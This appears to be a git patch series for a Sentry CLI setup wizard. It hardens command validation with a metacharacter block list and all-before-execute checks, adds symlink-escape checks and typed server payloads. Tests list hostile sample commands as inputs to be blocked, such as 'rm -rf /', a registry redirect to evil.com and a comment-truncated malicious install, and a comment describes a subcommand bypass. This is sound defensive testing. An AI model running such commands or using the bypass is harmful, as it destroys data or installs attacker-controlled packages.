_prevPhases: history.slice(0, -1), }; } @@ -150,13 +156,16 @@ export async function runWizard(options: WizardOptions): Promise { const spin = spinner(); + spin.start("Scanning project..."); + const dirListing = precomputeDirListing(directory); + let run: Awaited>; let result: WorkflowRunResult; try { - spin.start("Connecting to wizard..."); + spin.message("Connecting to wizard..."); run = await workflow.createRun(); result = (await run.startAsync({ - inputData: { directory, force, yes, dryRun, features }, + inputData: { directory, force, yes, dryRun, features, dirListing }, tracingOptions, })) as WorkflowRunResult; } catch (err) { @@ -168,6 +177,7 @@ export async function runWizard(options: WizardOptions): Promise { } const stepPhases = new Map(); + const stepHistory = new Map[]>(); try { while (result.status === "suspended") { @@ -185,7 +195,8 @@ export async function runWizard(options: WizardOptions): Promise { const resumeData = await handleSuspendedStep( { payload: extracted.payload, stepId: extracted.stepId, spin, options }, - stepPhases + stepPhases, + stepHistory ); result = (await run.resumeAsync({ diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 2b7f739c..0f2ee6fd 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -40,6 +40,7 @@ const mockHandleLocalOp = mock(() => ); mock.module("../../src/lib/init/local-ops.js", () => ({ handleLocalOp: mockHandleLocalOp, + precomputeDirListing: () => [], validateCommand: () => { /* noop mock */ }, diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index c4aa39ef..e1768004 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -3,6 +3,7 @@ import fs, { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { join } from "node:path"; import { handleLocalOp, + precomputeDirListing, validateCommand, } from "../../../src/lib/init/local-ops.js"; import type { @@ -768,3 +769,49 @@ describe("handleLocalOp", () => { }); }); }); + +describe("precomputeDirListing", () => { + let testDir: string; + + beforeEach(() => { + testDir = mkdtempSync(join("/tmp", "precompute-test-")); + }); + + afterEach(() => { + rmSync(testDir, { recursive: true, force: true }); + }); + + test("returns DirEntry[] directly", () => { + writeFileSync(join(testDir, "app.ts"), "x"); + mkdirSync(join(testDir, "src")); + + const entries = precomputeDirListing(testDir); + + expect(Array.isArray(entries)).toBe(true); + expect(entries.length).toBeGreaterThanOrEqual(2); + + const names = entries.map((e) => e.name).sort(); + expect(names).toContain("app.ts"); + expect(names).toContain("src"); + + const file = entries.find((e) => e.name === "app.ts"); + expect(file?.type).toBe("file"); + + const dir = entries.find((e) => e.name === "src"); + expect(dir?.type).toBe("directory"); + }); + + test("returns empty array for non-existent directory", () => { + const entries = precomputeDirListing(join(testDir, "nope")); + expect(entries).toEqual([]); + }); + + test("recursively lists nested entries", () => { + mkdirSync(join(testDir, "a")); + writeFileSync(join(testDir, "a", "nested.ts"), "x"); + + const entries = precomputeDirListing(testDir); + const paths = entries.map((e) => e.path); + expect(paths).toContain(join("a", "nested.ts")); + }); +}); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index e12348b5..7a911a55 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -66,6 +66,7 @@ let formatBannerSpy: ReturnType; let formatResultSpy: ReturnType; let formatErrorSpy: ReturnType; let handleLocalOpSpy: ReturnType; +let precomputeDirListingSpy: ReturnType; let handleInteractiveSpy: ReturnType; // MastraClient @@ -143,6 +144,9 @@ beforeEach(() => { ok: true, data: { results: [] }, }); + precomputeDirListingSpy = spyOn(ops, "precomputeDirListing").mockReturnValue( + [] + ); handleInteractiveSpy = spyOn(inter, "handleInteractive").mockResolvedValue({ action: "continue", }); @@ -169,6 +173,7 @@ afterEach(() => { formatResultSpy.mockRestore(); formatErrorSpy.mockRestore(); handleLocalOpSpy.mockRestore(); + precomputeDirListingSpy.mockRestore(); handleInteractiveSpy.mockRestore(); stderrSpy.mockRestore(); From be2e9ad17c8e485cd097973ce77625f766530763 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 18:46:37 +0100 Subject: [PATCH 59/72] =?UTF-8?q?fix(init):=20address=20PR=20review=20comm?= =?UTF-8?q?ents=20=E2=80=94=20block=20#=20metachar,=20document=20first-tok?= =?UTF-8?q?en=20limitation,=20unexport=20FEATURE=5FINFO?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Add `#` to shell metacharacter blocklist to prevent command truncation (e.g. `npm install evil-pkg # @sentry/node`) - Document Layer 3's first-token-only limitation with explanatory comment - Remove unnecessary `export` from `FEATURE_INFO` in clack-utils.ts - Add test for shell comment character blocking Co-Authored-By: Claude Opus 4.6 --- src/lib/init/clack-utils.ts | 2 +- src/lib/init/local-ops.ts | 8 +++++++- test/lib/init/local-ops.test.ts | 9 +++++++++ 3 files changed, 17 insertions(+), 2 deletions(-) diff --git a/src/lib/init/clack-utils.ts b/src/lib/init/clack-utils.ts index ea4eeb0e..d876721e 100644 --- a/src/lib/init/clack-utils.ts +++ b/src/lib/init/clack-utils.ts @@ -22,7 +22,7 @@ export function abortIfCancelled(value: T | symbol): T { return value as T; } -export const FEATURE_INFO: Record = { +const FEATURE_INFO: Record = { errorMonitoring: { label: "Error Monitoring", hint: "Automatic error and crash reporting", diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index bcc9da81..8cb875e7 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -59,6 +59,7 @@ const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = { pattern: "}", label: "brace expansion (})" }, { pattern: "*", label: "glob expansion (*)" }, { pattern: "?", label: "glob expansion (?)" }, + { pattern: "#", label: "shell comment (#)" }, ]; const WHITESPACE_RE = /\s+/; @@ -141,7 +142,12 @@ export function validateCommand(command: string): string | undefined { return `Blocked command: contains environment variable assignment — "${command}"`; } - // Layer 3: Block dangerous executables + // Layer 3: Block dangerous executables (first token only). + // NOTE: This only checks the primary executable (e.g. "npm"), not + // subcommands. A command like "npm exec -- rm -rf /" passes because + // "npm" is the first token. Comprehensive subcommand parsing across + // package managers is not implemented — commands originate from the + // Sentry API server, and Layer 1 already blocks most injection patterns. const executable = path.basename(firstToken); if (BLOCKED_EXECUTABLES.has(executable)) { return `Blocked command: disallowed executable "${executable}" — "${command}"`; diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index e1768004..8888ff02 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -97,6 +97,15 @@ describe("validateCommand", () => { } }); + test("blocks shell comment character to prevent command truncation", () => { + for (const cmd of [ + "npm install evil-pkg # @sentry/node", + "npm install evil-pkg#benign", + ]) { + expect(validateCommand(cmd)).toContain("Blocked command"); + } + }); + test("blocks environment variable injection in first token", () => { for (const cmd of [ "npm_config_registry=http://evil.com npm install @sentry/node", From c69da8bb25f253333da8d2b47a6db8d3ab64481e Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 20:41:24 +0100 Subject: [PATCH 60/72] refactor(init): add typed interfaces, validate-all-then-execute, and runtime assertions - Add WizardOutput, SelectPayload, MultiSelectPayload, ConfirmPayload, SuspendPayload types; refactor InteractivePayload as discriminated union - Remove ~20 unsafe casts across formatters, interactive, and wizard-runner - Restructure runCommands to validate all commands before executing any - Add assertWorkflowResult/assertSuspendPayload runtime validation for server responses - Add tests for malformed responses, batch validation, and dry-run paths Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 4 +- src/lib/init/formatters.ts | 34 ++++----- src/lib/init/interactive.ts | 32 ++++---- src/lib/init/local-ops.ts | 14 ++-- src/lib/init/types.ts | 48 +++++++++++- src/lib/init/wizard-runner.ts | 97 +++++++++++++++--------- test/isolated/init-wizard-runner.test.ts | 2 +- test/lib/init/formatters.test.ts | 20 +++-- test/lib/init/local-ops.test.ts | 31 +++++++- test/lib/init/wizard-runner.test.ts | 60 ++++++++++++++- 10 files changed, 247 insertions(+), 95 deletions(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 37d0dc81..661632f3 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -1,6 +1,4 @@ -export const MASTRA_API_URL = - process.env.SENTRY_WIZARD_API_URL ?? - "https://sentry-init-agent.getsentry.workers.dev"; +export const MASTRA_API_URL = "http://localhost:8787"; export const WORKFLOW_ID = "sentry-wizard"; diff --git a/src/lib/init/formatters.ts b/src/lib/init/formatters.ts index beb104ff..3f56a24a 100644 --- a/src/lib/init/formatters.ts +++ b/src/lib/init/formatters.ts @@ -12,8 +12,7 @@ import { EXIT_SENTRY_ALREADY_INSTALLED, EXIT_VERIFICATION_FAILED, } from "./constants.js"; - -type WizardOutput = Record; +import type { WizardOutput, WorkflowRunResult } from "./types.js"; function fileActionIcon(action: string): string { if (action === "create") { @@ -35,14 +34,12 @@ function buildSummaryLines(output: WizardOutput): string[] { lines.push(`Directory: ${output.projectDir}`); } - const features = output.features as string[] | undefined; - if (features?.length) { - lines.push(`Features: ${features.map(featureLabel).join(", ")}`); + if (output.features?.length) { + lines.push(`Features: ${output.features.map(featureLabel).join(", ")}`); } - const commands = output.commands as string[] | undefined; - if (commands?.length) { - lines.push(`Commands: ${commands.join("; ")}`); + if (output.commands?.length) { + lines.push(`Commands: ${output.commands.join("; ")}`); } if (output.sentryProjectUrl) { lines.push(`Project: ${output.sentryProjectUrl}`); @@ -51,9 +48,7 @@ function buildSummaryLines(output: WizardOutput): string[] { lines.push(`Docs: ${output.docsUrl}`); } - const changedFiles = output.changedFiles as - | Array<{ action: string; path: string }> - | undefined; + const changedFiles = output.changedFiles; if (changedFiles?.length) { lines.push(""); lines.push("Changed files:"); @@ -65,17 +60,16 @@ function buildSummaryLines(output: WizardOutput): string[] { return lines; } -export function formatResult(result: WizardOutput): void { - const output = (result.result as WizardOutput) ?? result; +export function formatResult(result: WorkflowRunResult): void { + const output: WizardOutput = result.result ?? {}; const lines = buildSummaryLines(output); if (lines.length > 0) { note(lines.join("\n"), "Setup complete"); } - const warnings = output.warnings as string[] | undefined; - if (warnings?.length) { - for (const w of warnings) { + if (output.warnings?.length) { + for (const w of output.warnings) { log.warn(w); } } @@ -85,11 +79,11 @@ export function formatResult(result: WizardOutput): void { outro("Sentry SDK installed successfully!"); } -export function formatError(result: WizardOutput): void { - const inner = result.result as WizardOutput | undefined; +export function formatError(result: WorkflowRunResult): void { + const inner = result.result; const message = result.error ?? inner?.message ?? "Wizard failed with an unknown error"; - const exitCode = (inner?.exitCode as number) ?? 1; + const exitCode = inner?.exitCode ?? 1; log.error(String(message)); @@ -100,7 +94,7 @@ export function formatError(result: WizardOutput): void { "Hint: Could not detect your project's platform. Check that the directory contains a valid project." ); } else if (exitCode === EXIT_DEPENDENCY_INSTALL_FAILED) { - const commands = inner?.commands as string[] | undefined; + const commands = inner?.commands; if (commands?.length) { log.warn( `You can install dependencies manually:\n${commands.map((cmd) => ` $ ${cmd}`).join("\n")}` diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 25cd671f..141791f6 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -10,15 +10,19 @@ import { confirm, log, multiselect, select } from "@clack/prompts"; import chalk from "chalk"; import { abortIfCancelled, featureHint, featureLabel } from "./clack-utils.js"; import { REQUIRED_FEATURE } from "./constants.js"; -import type { InteractivePayload, WizardOptions } from "./types.js"; +import type { + ConfirmPayload, + InteractivePayload, + MultiSelectPayload, + SelectPayload, + WizardOptions, +} from "./types.js"; export async function handleInteractive( payload: InteractivePayload, options: WizardOptions ): Promise> { - const { kind } = payload; - - switch (kind) { + switch (payload.kind) { case "select": return await handleSelect(payload, options); case "multi-select": @@ -31,16 +35,11 @@ export async function handleInteractive( } async function handleSelect( - payload: InteractivePayload, + payload: SelectPayload, options: WizardOptions ): Promise> { - const apps = - (payload.apps as Array<{ - name: string; - path: string; - framework?: string; - }>) ?? []; - const items = (payload.options as string[]) ?? apps.map((a) => a.name); + const apps = payload.apps ?? []; + const items = payload.options ?? apps.map((a) => a.name); if (items.length === 0) { return { cancelled: true }; @@ -73,13 +72,10 @@ async function handleSelect( } async function handleMultiSelect( - payload: InteractivePayload, + payload: MultiSelectPayload, options: WizardOptions ): Promise> { - const available = - (payload.availableFeatures as string[]) ?? - (payload.options as string[]) ?? - []; + const available = payload.availableFeatures ?? payload.options ?? []; if (available.length === 0) { return { features: [] }; @@ -131,7 +127,7 @@ async function handleMultiSelect( } async function handleConfirm( - payload: InteractivePayload, + payload: ConfirmPayload, options: WizardOptions ): Promise> { const isExample = diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 8cb875e7..fc252d2c 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -331,6 +331,15 @@ async function runCommands( const { cwd, params } = payload; const timeoutMs = params.timeoutMs ?? DEFAULT_COMMAND_TIMEOUT_MS; + // Phase 1: Validate ALL commands upfront (including dry-run) + for (const command of params.commands) { + const validationError = validateCommand(command); + if (validationError) { + return { ok: false, error: validationError }; + } + } + + // Phase 2: Execute (skip in dry-run) const results: Array<{ command: string; exitCode: number; @@ -349,11 +358,6 @@ async function runCommands( continue; } - const validationError = validateCommand(command); - if (validationError) { - return { ok: false, error: validationError }; - } - const result = await runSingleCommand(command, cwd, timeoutMs); results.push(result); if (result.exitCode !== 0) { diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 66dcb94b..8e7e9851 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -81,15 +81,55 @@ export type LocalOpResult = { data?: unknown; }; +// Wizard output — typed shape of the `result` field returned by the server + +export type WizardOutput = { + platform?: string; + projectDir?: string; + features?: string[]; + commands?: string[]; + changedFiles?: Array<{ action: string; path: string }>; + warnings?: string[]; + exitCode?: number; + docsUrl?: string; + sentryProjectUrl?: string; + message?: string; +}; + // Interactive suspend payloads -export type InteractivePayload = { +export type InteractivePayload = + | SelectPayload + | MultiSelectPayload + | ConfirmPayload; + +export type SelectPayload = { type: "interactive"; + kind: "select"; prompt: string; - kind: "select" | "multi-select" | "confirm"; - [key: string]: unknown; + options?: string[]; + apps?: Array<{ name: string; path: string; framework?: string }>; }; +export type MultiSelectPayload = { + type: "interactive"; + kind: "multi-select"; + prompt: string; + availableFeatures?: string[]; + options?: string[]; +}; + +export type ConfirmPayload = { + type: "interactive"; + kind: "confirm"; + prompt: string; + purpose?: string; +}; + +// Combined suspend payload — either a local-op or an interactive prompt + +export type SuspendPayload = LocalOpPayload | InteractivePayload; + // Workflow run result export type WorkflowRunResult = { @@ -97,6 +137,6 @@ export type WorkflowRunResult = { suspended?: string[][]; steps?: Record; suspendPayload?: unknown; - result?: unknown; + result?: WizardOutput; error?: string; }; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 358a8e91..556c887d 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -23,8 +23,7 @@ import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; import { handleLocalOp, precomputeDirListing } from "./local-ops.js"; import type { - InteractivePayload, - LocalOpPayload, + SuspendPayload, WizardOptions, WorkflowRunResult, } from "./types.js"; @@ -32,7 +31,7 @@ import type { type Spinner = ReturnType; type StepContext = { - payload: unknown; + payload: SuspendPayload; stepId: string; spin: Spinner; options: WizardOptions; @@ -54,17 +53,13 @@ async function handleSuspendedStep( stepHistory: Map[]> ): Promise> { const { payload, stepId, spin, options } = ctx; - const { type: payloadType, operation } = payload as { - type: string; - operation?: string; - }; const label = STEP_LABELS[stepId] ?? stepId; - if (payloadType === "local-op") { - const detail = operation ? ` (${operation})` : ""; + if (payload.type === "local-op") { + const detail = payload.operation ? ` (${payload.operation})` : ""; spin.message(`${label}${detail}...`); - const localResult = await handleLocalOp(payload as LocalOpPayload, options); + const localResult = await handleLocalOp(payload, options); const history = stepHistory.get(stepId) ?? []; history.push(localResult); @@ -77,7 +72,7 @@ async function handleSuspendedStep( }; } - if (payloadType === "interactive") { + if (payload.type === "interactive") { // In dry-run mode, verification always fails because no files were written // (the server skips apply-patchset). Auto-continue since this is expected. if (options.dryRun && stepId === VERIFY_CHANGES_STEP) { @@ -89,10 +84,7 @@ async function handleSuspendedStep( spin.stop(label); - const interactiveResult = await handleInteractive( - payload as InteractivePayload, - options - ); + const interactiveResult = await handleInteractive(payload, options); spin.start("Processing..."); @@ -102,8 +94,12 @@ async function handleSuspendedStep( }; } + // Unreachable: assertSuspendPayload validates the type before we get here. + // Kept as a defensive fallback. spin.stop("Error", 1); - log.error(`Unknown suspend payload type "${payloadType}"`); + log.error( + `Unknown suspend payload type "${(payload as { type: string }).type}"` + ); cancel("Setup failed"); throw new WizardCancelledError(); } @@ -112,6 +108,34 @@ function errorMessage(err: unknown): string { return err instanceof Error ? err.message : String(err); } +function assertWorkflowResult(raw: unknown): WorkflowRunResult { + if (!raw || typeof raw !== "object") { + throw new Error("Invalid workflow response: expected object"); + } + const obj = raw as Record; + if ( + typeof obj.status !== "string" || + !["suspended", "success", "failed"].includes(obj.status) + ) { + throw new Error(`Unexpected workflow status: ${String(obj.status)}`); + } + return obj as WorkflowRunResult; +} + +function assertSuspendPayload(raw: unknown): SuspendPayload { + if (!raw || typeof raw !== "object") { + throw new Error("Invalid suspend payload: expected object"); + } + const obj = raw as Record; + if ( + typeof obj.type !== "string" || + !["local-op", "interactive"].includes(obj.type) + ) { + throw new Error(`Unknown suspend payload type: ${String(obj.type)}`); + } + return obj as SuspendPayload; +} + export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features } = options; @@ -164,10 +188,12 @@ export async function runWizard(options: WizardOptions): Promise { try { spin.message("Connecting to wizard..."); run = await workflow.createRun(); - result = (await run.startAsync({ - inputData: { directory, force, yes, dryRun, features, dirListing }, - tracingOptions, - })) as WorkflowRunResult; + result = assertWorkflowResult( + await run.startAsync({ + inputData: { directory, force, yes, dryRun, features, dirListing }, + tracingOptions, + }) + ); } catch (err) { spin.stop("Connection failed", 1); log.error(errorMessage(err)); @@ -199,11 +225,13 @@ export async function runWizard(options: WizardOptions): Promise { stepHistory ); - result = (await run.resumeAsync({ - step: extracted.stepId, - resumeData, - tracingOptions, - })) as WorkflowRunResult; + result = assertWorkflowResult( + await run.resumeAsync({ + step: extracted.stepId, + resumeData, + tracingOptions, + }) + ); } } catch (err) { if (err instanceof WizardCancelledError) { @@ -221,37 +249,38 @@ export async function runWizard(options: WizardOptions): Promise { } function handleFinalResult(result: WorkflowRunResult, spin: Spinner): void { - const output = result as unknown as Record; - const inner = (output.result as Record) ?? output; - const hasError = result.status !== "success" || inner.exitCode; + const hasError = result.status !== "success" || result.result?.exitCode; if (hasError) { spin.stop("Failed", 1); - formatError(output); + formatError(result); process.exitCode = 1; } else { spin.stop("Done"); - formatResult(output); + formatResult(result); } } function extractSuspendPayload( result: WorkflowRunResult, stepId: string -): { payload: unknown; stepId: string } | undefined { +): { payload: SuspendPayload; stepId: string } | undefined { const stepPayload = result.steps?.[stepId]?.suspendPayload; if (stepPayload) { - return { payload: stepPayload, stepId }; + return { payload: assertSuspendPayload(stepPayload), stepId }; } if (result.suspendPayload) { - return { payload: result.suspendPayload, stepId }; + return { payload: assertSuspendPayload(result.suspendPayload), stepId }; } for (const key of Object.keys(result.steps ?? {})) { const step = result.steps?.[key]; if (step?.suspendPayload) { - return { payload: step.suspendPayload, stepId: key }; + return { + payload: assertSuspendPayload(step.suspendPayload), + stepId: key, + }; } } diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts index 0f2ee6fd..7e5e6047 100644 --- a/test/isolated/init-wizard-runner.test.ts +++ b/test/isolated/init-wizard-runner.test.ts @@ -190,7 +190,7 @@ describe("runWizard", () => { test("treats success with exitCode as error", async () => { mockStartResult = { status: "success", - result: { exitCode: 10 } as unknown, + result: { exitCode: 10 }, }; await runWizard(makeOptions()); diff --git a/test/lib/init/formatters.test.ts b/test/lib/init/formatters.test.ts index d518ae98..77969135 100644 --- a/test/lib/init/formatters.test.ts +++ b/test/lib/init/formatters.test.ts @@ -44,6 +44,7 @@ afterEach(() => { describe("formatResult", () => { test("displays summary with all fields and action icons", () => { formatResult({ + status: "success", result: { platform: "Next.js", projectDir: "/app", @@ -75,7 +76,7 @@ describe("formatResult", () => { }); test("skips note when result has no summary fields", () => { - formatResult({}); + formatResult({ status: "success" }); expect(noteSpy).not.toHaveBeenCalled(); expect(outroSpy).toHaveBeenCalled(); @@ -83,6 +84,7 @@ describe("formatResult", () => { test("displays warnings when present", () => { formatResult({ + status: "success", result: { warnings: ["Source maps not configured", "Missing DSN"], }, @@ -94,7 +96,7 @@ describe("formatResult", () => { }); test("unwraps nested result property", () => { - formatResult({ result: { platform: "React" } }); + formatResult({ status: "success", result: { platform: "React" } }); const noteContent: string = noteSpy.mock.calls[0][0]; expect(noteContent).toContain("React"); @@ -103,20 +105,20 @@ describe("formatResult", () => { describe("formatError", () => { test("logs the error message", () => { - formatError({ error: "Connection timed out" }); + formatError({ status: "failed", error: "Connection timed out" }); expect(logErrorSpy).toHaveBeenCalledWith("Connection timed out"); expect(cancelSpy).toHaveBeenCalledWith("Setup failed"); }); test("extracts message from nested result.message", () => { - formatError({ result: { message: "Inner failure" } }); + formatError({ status: "failed", result: { message: "Inner failure" } }); expect(logErrorSpy).toHaveBeenCalledWith("Inner failure"); }); test("falls back to unknown error when no message available", () => { - formatError({}); + formatError({ status: "failed" }); expect(logErrorSpy).toHaveBeenCalledWith( "Wizard failed with an unknown error" @@ -124,14 +126,14 @@ describe("formatError", () => { }); test("shows --force hint for already-installed exit code (10)", () => { - formatError({ result: { exitCode: 10 } }); + formatError({ status: "failed", result: { exitCode: 10 } }); const warnMsg: string = logWarnSpy.mock.calls[0][0]; expect(warnMsg).toContain("--force"); }); test("shows platform hint for detection failure exit code (20)", () => { - formatError({ result: { exitCode: 20 } }); + formatError({ status: "failed", result: { exitCode: 20 } }); const warnMsg: string = logWarnSpy.mock.calls[0][0]; expect(warnMsg).toContain("platform"); @@ -139,6 +141,7 @@ describe("formatError", () => { test("shows manual install commands for dependency failure (30)", () => { formatError({ + status: "failed", result: { exitCode: 30, commands: ["npm install @sentry/node"], @@ -150,7 +153,7 @@ describe("formatError", () => { }); test("shows verification hint for exit code 50", () => { - formatError({ result: { exitCode: 50 } }); + formatError({ status: "failed", result: { exitCode: 50 } }); const warnMsg: string = logWarnSpy.mock.calls[0][0]; expect(warnMsg).toContain("verification"); @@ -158,6 +161,7 @@ describe("formatError", () => { test("shows docs URL when present", () => { formatError({ + status: "failed", result: { docsUrl: "https://docs.sentry.io/platforms/react/" }, }); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 8888ff02..55feddf7 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -571,7 +571,7 @@ describe("handleLocalOp", () => { expect(results[0].command).toBe("false"); }); - test("dry-run skips execution and validation", async () => { + test("dry-run validates commands but skips execution", async () => { const payload: RunCommandsPayload = { type: "local-op", operation: "run-commands", @@ -579,6 +579,20 @@ describe("handleLocalOp", () => { params: { commands: ["rm -rf /", "echo hello"] }, }; + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); + const result = await handleLocalOp(payload, dryRunOptions); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + }); + + test("dry-run skips execution for valid commands", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["npm install @sentry/node", "echo hello"] }, + }; + const dryRunOptions = makeOptions({ dryRun: true, directory: testDir }); const result = await handleLocalOp(payload, dryRunOptions); expect(result.ok).toBe(true); @@ -591,6 +605,21 @@ describe("handleLocalOp", () => { expect(results[0].stdout).toBe("(dry-run: skipped)"); expect(results[0].exitCode).toBe(0); }); + + test("rejects entire batch if any command fails validation", async () => { + const payload: RunCommandsPayload = { + type: "local-op", + operation: "run-commands", + cwd: testDir, + params: { commands: ["echo hello", "rm -rf /"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("Blocked command"); + // No commands should have executed (no data.results) + expect(result.data).toBeUndefined(); + }); }); describe("apply-patchset", () => { diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index 7a911a55..8634be4b 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -253,7 +253,7 @@ describe("runWizard", () => { test("treats success with exitCode as error", async () => { mockStartResult = { status: "success", - result: { exitCode: 10 } as unknown, + result: { exitCode: 10 }, }; await runWizard(makeOptions()); @@ -498,4 +498,62 @@ describe("runWizard", () => { expect(formatResultSpy).toHaveBeenCalled(); }); }); + + describe("malformed server responses", () => { + test("rejects non-object response from startAsync", async () => { + const badRun = { + startAsync: mock(() => Promise.resolve("not an object")), + resumeAsync: mock(), + }; + const badWorkflow = { + createRun: mock(() => Promise.resolve(badRun)), + }; + getWorkflowSpy.mockReturnValue(badWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Invalid workflow response: expected object" + ); + expect(process.exitCode).toBe(1); + }); + + test("rejects response with invalid status", async () => { + const badRun = { + startAsync: mock(() => + Promise.resolve({ status: "banana", result: {} }) + ), + resumeAsync: mock(), + }; + const badWorkflow = { + createRun: mock(() => Promise.resolve(badRun)), + }; + getWorkflowSpy.mockReturnValue(badWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Unexpected workflow status: banana" + ); + expect(process.exitCode).toBe(1); + }); + + test("rejects null response from startAsync", async () => { + const badRun = { + startAsync: mock(() => Promise.resolve(null)), + resumeAsync: mock(), + }; + const badWorkflow = { + createRun: mock(() => Promise.resolve(badRun)), + }; + getWorkflowSpy.mockReturnValue(badWorkflow as any); + + await runWizard(makeOptions()); + + expect(logErrorSpy).toHaveBeenCalledWith( + "Invalid workflow response: expected object" + ); + expect(process.exitCode).toBe(1); + }); + }); }); From 914995fa7965950e8f0b73974b652212a262929e Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 21:00:21 +0100 Subject: [PATCH 61/72] fix(init): add symlink bypass protection, API timeout, and cleanup MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - safePath() now resolves symlinks and rejects paths that escape the project directory via symlink (e.g. link → /etc) - Add withTimeout() helper to race Mastra API calls against a deadline - Bump API_TIMEOUT_MS to 120s to match DEFAULT_COMMAND_TIMEOUT_MS - Delete duplicate isolated test file; consolidate tests in test/lib/ - Add JSDoc to safePath() and withTimeout() Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 1 + src/lib/init/local-ops.ts | 37 +- src/lib/init/wizard-runner.ts | 54 ++- test/isolated/init-wizard-runner.test.ts | 449 ----------------------- test/lib/init/local-ops.test.ts | 69 +++- test/lib/init/wizard-runner.test.ts | 41 +++ 6 files changed, 191 insertions(+), 460 deletions(-) delete mode 100644 test/isolated/init-wizard-runner.test.ts diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 661632f3..4ea43a39 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -7,6 +7,7 @@ export const SENTRY_DOCS_URL = "https://docs.sentry.io/platforms/"; export const MAX_FILE_BYTES = 262_144; // 256KB per file export const MAX_OUTPUT_BYTES = 65_536; // 64KB stdout/stderr truncation export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000; // 2 minutes +export const API_TIMEOUT_MS = 120_000; // 2 minutes timeout for Mastra API calls // Exit codes returned by the remote workflow export const EXIT_SENTRY_ALREADY_INSTALLED = 10; diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index fc252d2c..31575c33 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -158,7 +158,7 @@ export function validateCommand(command: string): string | undefined { /** * Resolve a path relative to cwd and verify it's inside cwd. - * Rejects path traversal attempts. + * Rejects path traversal attempts and symlinks that escape the project directory. */ function safePath(cwd: string, relative: string): string { const resolved = path.resolve(cwd, relative); @@ -169,6 +169,41 @@ function safePath(cwd: string, relative: string): string { ) { throw new Error(`Path "${relative}" resolves outside project directory`); } + + // Follow symlinks: verify the real path also stays within bounds. + // Resolve cwd through realpathSync too (e.g. macOS /tmp -> /private/tmp). + let realCwd: string; + try { + realCwd = fs.realpathSync(normalizedCwd); + } catch { + // cwd doesn't exist yet — no symlinks to follow + return resolved; + } + + // For paths that don't exist yet (create ops), walk up to the nearest + // existing ancestor and check that instead. + let checkPath = resolved; + for (;;) { + try { + const real = fs.realpathSync(checkPath); + if (!real.startsWith(realCwd + path.sep) && real !== realCwd) { + throw new Error( + `Path "${relative}" resolves outside project directory via symlink` + ); + } + break; + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== "ENOENT") { + throw err; + } + const parent = path.dirname(checkPath); + if (parent === checkPath) { + break; // filesystem root + } + checkPath = parent; + } + } + return resolved; } diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 556c887d..f60571ee 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -14,6 +14,7 @@ import { CLI_VERSION } from "../constants.js"; import { getAuthToken } from "../db/auth.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; import { + API_TIMEOUT_MS, MASTRA_API_URL, SENTRY_DOCS_URL, 